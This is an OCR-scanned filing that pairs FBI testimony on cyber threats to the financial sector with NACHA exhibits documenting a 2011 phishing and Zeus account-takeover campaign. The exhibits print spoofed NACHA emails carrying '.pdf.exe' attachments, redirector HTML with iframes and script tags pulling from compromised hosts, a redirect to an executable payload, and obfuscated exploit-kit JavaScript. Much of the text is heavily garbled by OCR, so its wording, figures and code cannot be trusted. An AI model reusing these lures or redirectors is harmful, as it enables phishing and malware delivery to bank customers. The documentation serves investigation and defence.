examiplo of the suvcess of public-private pavtnetships, Under th initiative, stite, loen), and fribal law  {
enfolcemont, scademis, olhur guvernment agencies, cotmmunitivs, and private Industoywork with g {
throwgh onr [tk offices to ward off attacks npainst oritical infrastruciure. Over fhie past 15 years, we have
seen Vhis {nitiative grow from a single chapter inthe Cloveland field Office fo more than 86 chapters in 56
fickd- affices with 42,000 menthois, .

The exchange of knowledge, experience, and reganrees s Tyvaluablo and conteibutes {nmeasutably to our
homeland secncity, Notably, D118 s recognized the value of tho rogrars and recently partnered with
the InfraGard prog provide jeint ing and conforenies during his fiscal year.

Witk eutside fvding [ram DS, the newly eomed-Joint Critieal Infrastructure Parinershijiwill host five
regional eonferences this year along with rey lonata ber.of smaller ventes, The foens of the
PIOAY iﬂo‘fm}‘hm p ::‘*I fu 3 {t ﬂos{wthn’:pnvut sector by notonly teaching out to the

¥ 13 alsn 3ol t 1.

curreat LsfraG, y ¢ toJocil oritical Infrastructinre
ol key res: owaees and Of 'l'he'gm‘i is tg rafse awarenesy of risks to the notion’s
fnfrastructure and o beiter educate the public about infrastructure scourity inittatives, This partucrship Is
a platherm wihich wilfenh the risk t capubitities of local communities by providing
secutity information, pducation, trains and-other fons to.protect, preveat, and tespond 1o tersorist
attacks, nataral disasters, and other hazoeds, such a8 thecrisis cartently facing Japen, Ensuting lhata

+

eountry's infrastructure i prolecied aud-vesitlent {5 key to-nationnlsceurity.
Experience hasshowa that establishing rapport withithe membors tranglules into a grenter flawof
1 £) W“h £5 Lot !cg&"; ceearkn el :md'“ '

t can anly be developed when 1781
I Lhave the yiinin nd tesonrets o focus on the prograa. This conduit for nformation
rasuliwin the improved protection of the in{mstruciure of the US. |

In the (ast fow years, there has beauy ;imsh,lo partnee FBI hmmgcmmmlm: with privata secjor
coxparts. This Is an opportunity for the intelligence mul{sxsfto learn more:ahout the industries thoy sre
s;:lz{gmﬂnﬁ. ‘They ean t!:cm better k}gmlfy the needs of those industrics as well sy FBI infoyration saps.
Addid: d its-of

bysis, &

A

tach within thoseIndusteios who caurevalnato sud assist in tgnely.
inly subject matier cxparts,

T themysi et

¥

Other il eyber parinerships include the lnternet Crime Complaint Center {1€9) and the Natlnat
Cyber-Forensics angd ’t‘mln%wmm (NCFTA. Kstablished iu 2000, the 1Cy {8 1 partueiship betwden
the P11 and the National W o Collar Crime Conter that servex-4s # vohicle Lo recebve, dovelop,and refor
cmufml-comylnims yogarding pyber erima. Since B begau, the 1C3 hos pracessed morethan 2 million
complainis, Complaints axv veforred to local, stato,. fedaral, und Infernational law enforecment and are

httt)://www‘fbi.20v/news/tcstim(mv/cvber-securitv—threats-to-the—ﬁnanci al-sector
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e peivate seotor, individually and (hrongh working groups, pro af organizations
cullivate relationships, inform industry of threats, ictentify intelligence, and develop investigative
information 1o enbance or initiate investigations by Jaw enforcement.

‘The NCFPA is a private nonprofit uxr,animiiun, cirtnposyd af wrmxem;ﬂiws of tnsdnstry andacademia,
which.partners withthe FBL The NCFTA, fv coaparation wih the FIEY, develops responses krovelving
threats to [he nation's eritieal infrastructure by participating it eyber-forensic analysis, lactical response
development, teslmology valnerability anelpsis, and thi devaloprient of ndvanced irining, The NOFEA
work products can be provided to industry, scademia, law enforcenent, and the public as appropriate.

Thi FBI and DHS alsa partner with the 1.8, private sector on the Domestic Security Attiance Conncil
(DSAC). This strategie collaboration enhances communications and promotes effective exchanges of
information in order to prevent, detect, and Investigite criminal acts, panticularly those affecting

3 and 'an'l'ay(ia rd, ta :

i

interstaie commerce, while advancing the ability o the U.8. private secloy to protect its employees, assets, |

and proprietaty information.

The DSAC is in » unique position 1o speak on behalf nfthe private sectar hecanse the NSAC meinbers iare
the highest ranking securily exechtives of the riember companlies, who direetly report 10 the ieaders of
their organizations,

Threat Mitigation

The I¥BI has been ahle to mitigate a number of fraud malters by sharing identified threat data amonpst
Ginancial sector partours. The FBI pariicipates in other activilics with the private sector, Hike the F3-18a(
4 poad example of this cooperation is the FBYs identifieation of # bank fraud trend in which U.8. banks
were ungware that they were being defrauded by businesses in another country, As a result of Fi31
intelligence analysis, a joint FBI/FS-15AC dacument was drafted and sent 10 the FS-ISAC’s membership,
alesting them Lo these crimes and providing recommendations on how to proteel themselves from falling
vietim ta the same scheme,

Another rocent suiceess was the combined efforts of the PBI, DOJ, and industry subject matter experts 1o
takedown the *Coreflood” botnet, This batnet infected user computers aad transferred harking
credertials and other sensitive information 1o thie botnet's command-and control services. This botnet
infectid miltions nf canprders and the crminals used the stolen information b steal mithions of dollars
from unsuspecting consumers, In this instance, governinent and private industry worked ogeiber lo
provide an Tanovative response o n cyber threat, Not only was the Coreflood botuet shut down throngh a
lemporary restraining order, the government was authorized to respand Lo signals sent from infected
computer’s in the U.S. in arder Lo stop the Corellood software from rinning. This prevented further harm
to hundreds of thausands of unsuspecting users of infected compaters inthe U8,

Conchusion

As the sihcomimiltee knnws, we face signifiennt challenges in oue efforts Lo combat eyber erime, 11 the
current techinological enviremment, there ave growlig avenues for eyber crimes against the U8, financial
infrustructure srd consumers. Modifications to business and fmancial institution security and risk
management pravticns will directly affect the futnre of these tf\x/pes of crimes, nnd the adoption of best

practices may be negated by the lack of secur| ASCIY avior by customers.
it Asaos avior by cusipiners

Malicions cyber ingidents are costly and inconvenient to i‘guancia) institutions and their customers, and
althongh most businesses take action Lo recover quickly, limit impact 1o custoruers, and ensure long-term

i

operational viability, the increasing sophistication of eyher criminals will 1o doubt lead o an escalation in |

cyber erime,

T bolster the efforts of the PRI agalist these eyber criminaly, we will continuge to share information with
povernment agencies and private indnstry pansistent with applicable laws and policies. We will continue
1o enpage in sirategy disenssions with other government agencies and the private sector to easure ibal

(34
mitigating the thyeats posed by cyber crime, We look farward te working with the subcomnmittes and
Congroess as a whole to determine 4 successTul course forward,

Accessibility | eRaleraaking | Freedam of loformion Act { tegal Netleas | Legal Policies end
Disclairaers | Links | Privacy Policy { USA.gov whits House
FRLgenas asy ificial sieaf the U8, Fednal Governiissht, U5, Bepatiment of Nustice

Close

ht‘m://www.fbi.Qov/news/testimonv/cvber—securitv-threats—to»the-ﬁnancial—sector

thireatls are countered swiftly and efﬁcicmlin We will also continue 1o explore innovation methods of |

Page 6 of 6
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EXHIBIT I.



B5716-2811 18:56

From: ~ [@nacha.org

Sent: Monday, May 16, 2011 8:05 AM
Subject: ransfer canceled

& NACHA

The Elactranic Pamm&mdww )

The ACH transaction (ID: 851171757047), recently sent from

was canceled by the other financial institution.

NO.711

your bank account (by you or any other person),

o2

| Rejected transaction

|Transaction ID:; 851171757047

[Rejection Reason |See details in the report below

[Transaction Report Ireport 851171757047 pdf.exe (self-extracting archive, Adobe PDF)

13450 Sunrise Valley Drive, Suite 100 Herndon, VA 20171 (703) 561-1100

2011 NACHA - The Blectronic Paynents Association



85-/16/2011 18:56 NO.711 rez

1 A VYR —
From: : I G nacha.arg ,
Sent: Monday, May 16, 2011 8.05 AM , \

To: P
Subject: ACH Transfer canceled

SNACHA | |

TheClactranic Pammsaww )

The ACH transaction (ID: 851171757047), recently sent from your bank account (by you or any other person),
was canceled by the other finanoial institution.

I Rejected transaction

|Transaction ID; 851171757047

[Rejection Reason |See details in the report below

| Transaction Report lreport_851171757047.pdf.exe (self-extracting archive, Adobe PDF)

13430 Sunrise Valley Drive, Svite 100 Hemdon, VA 20171 (703) 561-1100

2011 NACHA - The Electranic Payments Assoeiation



85-/16/2011 18:56

From: - I 5)n=cha.org

Sent: Monday, May 16, 2011 8:05 AM
To: #
Subject: M Transfer canceled

& NACHA

Thelettranic Pammﬂmw )

The ACH transaction (ID: 851171757047), recently sent from

was canceled by the other finanoial institution.

NO.711

your bank account (by you or any other person),

roz2

| Rejected transaction

|Transaction ID:; 851171757047

[Rejection Reason |See details in the report below

| Transaction Report lreport_851171757047.pdf.exe (self-extraciing archive, Adobe PDF)

134350 Sunrise Valley Drive, Suite 100 Hemdon, VA 20171 (703) 561-1100

2011 NACHA - The Electranic Payments Assoeiation



(,— FW: What the hell is this? Fwd: Notification about the rejected Direct Deposit payment - Windows Internet Expl... [E[=]

£ | https:)/mail.macha.org/owa)? as=Tkemia=C0penit=1RM, Note2id=RofARAAD 0B L 2bEI 3T R a7 adhiiE 2 bEeBwBuacy S 2F HNSFRIW T | __"=§| |

Reply ReplyAll Forward w- BR- & & B X B- &« @ (7]

FW: What the hell is this? Fwd: Notification about the rejected
Direct Deposit payment

To: Abuse

Tuesday, Mowember 29, 2011 1204 P

-------- Original MMessage -------- |
Subject:IMotification about the rejected Direct Depostt payment

Date:Fri, 25 Nov 2011 10:51:55 40100

From:noreply@ direct nacha org

To: S

Dear Customer,

Please be informed, that your most recent Direct Deposit wia ACH transaction [IN9333:

http://Travelaffiliatepro.com/£2872a/ index .. html

Please contact wour finahecial institution to get the necessary updates of the Direct
Eind regards,

ACH Network Rules Department
NALCHL | The Electronic Payments Association

13450 Sunrise Walley Driwve, Suite 100
Herndon, VA 20171
Phone: 703-561-1100 Fax: 703-737-0998

=
| | i
:Dune I_ I_ I_ I_ I_ I_ |@ Inkernet

o  mI0% x




EXHIBIT J.



NACHA The Electronic Payments Association
2011 Financial impact due to sustained phishing attacks

beginning February 22, 2011

Direct Costs:
Description/Vendor:
Temporary Hires

Data Security vendor

E-mail Spam Solution vendor
E-mail Spam solution vendor
Telephone services/consultant
Serveilance Security vendor
Law firm

Web Development vendor

Subtotal Direct costs

Purpose

CSRincreased call volume

Domain monitoring,962 malware takedowns in 2011, Advanced
analytics,-Employee cyber-security training

Trusted e-mail Domain Registry

Increase e-mail spam filter

Upgrade phone/voice mail capabilities

Increase office security for walk-in inquiries

Legal

Security enhancements to nacha.org, payments.nacha.org

Soft Costs: Reallocated internal resources-represents 4.3% of NACHA's total Sal/Ben

CSR Staffing
IT staffing
Legal staffing
Risk staffing

Increased call volume

Technical support, e-mail, malware,domain
Law enforcement/legal inquiries

Network Risk inquiries

Total Financial Impact through 12/31/11

12/31/2011

includes est
S amount
4,050

146,800
20,000
5,873
35,056
10,735
24,480
9,300

256,294

368,306

624,600



EXHIBIT K.



containg content of :

<html=
<head>

«titlesNgcha Transfer Data</tibles

=<ifrome src="http:/s/huntchemical .com/main.php?poge=10e825lell627edl >
=/html=



EXHIBIT L.



Landing Page:

Would forward to another page or itself. ThiThis word was not found in the spelling dictionary. . to @ malware infecting URL|:

//jsunpack . called CreateElement div //gval, document.write( '<centers<hl=Please wait page is looding...</hl=—/centers=<hr=');

function end_redirect{}{
window. location.href="http://nacha-ochalert . com/ARBEETARIEEAGEUS . pdf exe ' 5

bi=="FiLmke: } igStrium ifunctionib Mreturn{typeof b==
g,getium:function(b,c)f{var d=this,o=d.isStrNum(b)?{d. isDefined(c)7new R;gExp(c)
[8] :rul L}, comporeduns :functiondh,f ,d){var e=this,c,b,q,0= purseInt;if(e.isStrNum(h)&S& 1sStrNum(f)){1f(e 1sDaf1ned(d)&&q,gompgraﬂymg){return
d nsih,f ite=h.eplit(e B 3h=t . spllt(e s for (o= jadath.mingc. length,b. length)ja+ )i {g(c[a],180=g(b [a],18})
1 f{gic[a],18)-g{b[ rr —L}}ireturn B}, unctiondb,ci{var d=this,n,e;if{ld.isStriundb){return null}if{!d. ishun
(o) Ho=tte—je=b.reploce( s/, "" J.split{d,spl ithunReqx: ) .concat ( ('@ "a", e ] pifor (0=B 50t jaee 3 1 {48+ 0+ )8 et (e [a] ) ){e [a]=RegExp.
$2riffa=c| |1/ ) test{e[a] )){e[a]="0"ireturn e.zlice(d,4).join(" ")}, $ShasMineType ifunction{a{return function{d3{if {!a.isIE&d )} var
c,b,e,f=a.is5tring(d)? [d]:d; 1F {IF | [1F L length ) return nul L}for(e=A;e<f. langth e++){lf(/[*\s]/ test(f[e])ﬂ&(c nuv1gutor m1meTypes[f[e]])S&
(b C. enubtedPlugln)S&(b nume\lb descrlptlun)){return chrreturn nul L3F,findMgyP Lugin

j.isbefined(e)|le)?/ i/ 1@, k=c?new RegExpic,”i" ):@,0=navigator .pluging,g="",f ,b,m; fur(f H N length f++){m_u[f] descrlptlunllg,b u[f] nume\
giif(th.testin)aaddl ld.test (RegExp. | ntext+ReaExn. rightoontext ) )l | ¢h.testihiisd 1l |d. test (ReaExp., | E 1 ))))
LRI (kL testdny | [k test(h))){raturn a[f]}ryreturn null},getMineEnabledP lugin:functionda,f }{var esthis,b,c=new Reg
((h=e.hasMineType(n))Ealb=h.enobledP luginEss  testih.description| [d)] [c.test{b.name | |d)) 0 return bireturn @) ,getP luginFileversion: functlnn
(f,b){var h=this,e,d,g,0,c=-1;1f{h.05=2| | 1f|]1f.version| || {e=h_gethum{f .version))){return b}if {Ib){return ele=h.formatNumge);b=h.formathum
(b)sd=b.splitih k0 ig=e.split} L g3 for (o=B30.d. length ;e 3 1F (co—1880=c88d [0] 1 ="0" }return b}if (g[a]l=d[a] p{if{c==-1}
{o=a}ifid[a]!= b}}rreturn e}, Ax0: JActivedObject ,getddD:functionfb){var f=null,d,c=this,ajtryf=new c.AX0(blcatch{d}{}
return f},convertFuncs :functioni{gifvar a,h,f,b=/4["$][4$]/,d={},c=thiz;for{a in g){if{b.test{a)){d[a]=1}}for{a in di{tryfh=a.slice(2);if
(h. length=88&!a[h] Ma[h]=a[a]{a)sdelete g[a]}reatchf 3{}}},initSeript sfunct ion 3{var

c=thiz,a=navigator,e="/",i=a.userdgent | |"",g=a.vendor | |"" ,b=a.platform| | "" h=c.product | |"" ;c.05=168;1f (b){fvar f,d=["Win",1,"Mac",2,"Linux",
3,"FresB5D" ,4,"iPhone" ,21.1,"iPod" ,21.2,"iPad",21.3,"Win #CE",22.1, "Win.¥Mabi le" 22,2, "Pocket \ha*PC" ,22.3," ", 188 ] ;for

(f=d.length-2 ;f==A;f=F-23{if (d [f [&Enew RegExp(d[f]," "h. test{b)){c 05=d[f+1]sbreak}}}c. convertFuncs(c) c.islE=new Function{"return "+s
+"*@cc_on | @ +e+" false” 350 ver IE=c. isIESE{ MSIENa* (e b . 700 )/ 1 ) best (1 Y7 porsef Loat (RegExp. $1,1873:nul | ;o.Act ivesEnabled=false; if {c.isIE)
{var f,i=
["HSXle SHLHTT

] 3] langth f++){1f(c gatAxD(J[f])){c ActlvexEnuhled true ;| hrauk}}c heud 15Def1ned
(dncument getE lementsByTaghane J?docunent. .getE LenentsBy Taghome " head" 3 [B] thu | L}c . 1sGecko=(/Geckos 1) test (h)EE] /Gecko ek s/ As¥ /1)  test
(1);e.verbecko=c. isbecko?e . Formathum [ (/v ia®h i ve® i [4 .0, Wl ]+ /1)  test {1 )7RegExp 511 "8.9" Jrnul L jo  isSafar i={/Safar 1 4%/ ¥ id/ 1) test {10880/
Apple/i).test(g);c.1sEhrome:(/Ehroma\s*\/\s*(\d[\d\.]*)/1).test(1);c.verChrome:C.isChrome?c.formutNum(RegExp.$i):null;c.1steru=(/Dperu\s*
[Pk (e v 0/ ) et (1) o verDpera=c . i s0perafd (Mersionis® sk A 2k )/ 1) best (1) | [1)7parseF loat (RegExp.
$1,18%:nul L jc.oddWinEvent(" load" ,c.hand ler{c.runLfuncs ¢ )}, initifunction{c){var b=thiz,q,c;if{lb.ieString(c){return —3}if (o length==1}
{b. getVars1onDellmlter cireturn -3jc=c.tolowerCose().replace(/ s/g,"" Jja=b[c];if (lal | la.getVersion){return -3}tb.plugin=a;if {!b.isbef insd
(a.instal led ). instal led=a.version=a.versionf=n.getVersionDone=nu | ja.$=b;a.pluginNone=cth . gorboge=false; if (b, isIEGE! b ActiveXEnab led 3 { if
(al==b.java){return -2} return 1%,fPush:function{b,ad{var c=this;if {c.isArray{a)es{c, isFuncib)| | {c.isdrray(bieib . lengtbh=886c, isFuncib[8]3)))
{a.pushib)}},cal lArraysfunction{b){var c=this,a;if{c.isdrroy(b)i{for (o=A;a<b. length;a++ Mif (b [0]===nul | Mreturn}c.call{b[a]};b[a]




EXHIBIT M.



Would contain code to redirect users to one of many remotely hosted jovoscript redirectors.
With content like this:

<l
<head=

<hl=WAIT PLEASE=/hl=

+h3zloading. . .«</h3=

<zcript language="JavaScript" type="text/JovaScript" src="http:/fwww.steffenmorrison.condjs.js"—/script=
<zcript language="JavaScript" type="text/JovaScript" src="http:/fwww.esellitny .comdis. js"=—/script=
<script language="JavaScript" type="text/JovaScript" src="http://jonbling.con/is.js"=</script=

</html=



EXHIBIT N.



@ @ 1)
phlshl_hg% phlshl_ngH — Embedded——>»
email email Li
ﬂ ink
Attacker P = Redirector Page
Open Relay Server Victim Clicks on Compromised Server
Embedded Link (one of thousands)
Masquerading as a . pdf File * front attack layer
* registered through Yahoo!
Exhibit N * hosted at Yahoo!
Early Stage Diagram
of Account Takeover Scam
(before August/September 2011)
(6)
®) @) Zeus Botnet
Some Bot on downloaded to
Level Infected Computer Victim's computer
of Control Logsinto
C&C Server
)
Link to
Malware Server
] . e Landing Page
Malware Page on Compromised Server
on Compromised Server (one of hundreds)
Command and Control Server (one to three servers) * usually in Eastern Europe
* serving the actual malware

* on adomain fraudulently
registered through Yahoo!



EXHIBIT O.



@ @ @) - ®
7ph|sh|_hg% phlshl_ngH — Fmbedded——» iFrame
email email i HTML
’ ink
Attacker Open Relay Server Redirector Page
¥ on Compromised Server
Embedded Link (one of thousands)
Masquerading as a . pdf File * front attack layer
* registered through Yahoo!
Exhibit (@) * hosted at Yahoo!
2nd Stage Diagram
of Account Takeover Scam
(from August/September 2011)
Middle Layer Redirector Page
on Compromised Server
(@) (one of thousands)
Zeus Botnet * front attack layer
(©)) (€)) downloaded to * registered with a free
Some Boton Victim's computer DNS hosting service -
Level Infected Computer via a PHP file usually cx,cc or cz.cc
of Control Logsinto
C&C Server
)
Link to Landing
Page
(©)
< Link to
= PHP file on
= Malware Server
\ L4 ] =
Landing Page
$ ] Malware Page

on Compromised Server

Command and Control Server (one to three servers)

on Compromised Server
(one of hundreds)
* usually in Eastern Europe

* serving the actual malware
* on adomain fraudulently
registered through Yahoo!



EXHIBIT P.



@ @ (©)]
—phishing—» phishing——» Embedded
email email Link to
index HTML file
Attacker [ . o i Redirector Page
Open Relay Server Victim Clicks on Compromised Server
Embedded Link (one of thousands)
Masquerading as a . pdf File * front attack layer

Exhibit P

3rd Stage Diagram NG
Link to

of Account Takeover Scam embedded

(from 2011) JavasScript
fileson
one of

(®) 3to6
Zeus Botnet servers
Variant
(C)] 2 or Blackhole Rootkit
Some Bot on downloaded to
Level Infected Computer Victim's computer
of Control Logs into via a PHP file
C&C Server

(©)]
Link to
PHP file on
Malware Server

Compromised Server
(one of 3 to 6)
* attackers have back door access
* Machines in 3 & 4 sometimes overlap.
* With backdoor, could use
same host for both steps.

Malware Page
on Compromised Server
(one to three servers)
* serving the actual malware
* on adomain fraudulently registered through many different
registrars, not just Yahoo!
* hosted exclusively on VPS platforms expressly purchased for serving malware

Command and Control Server
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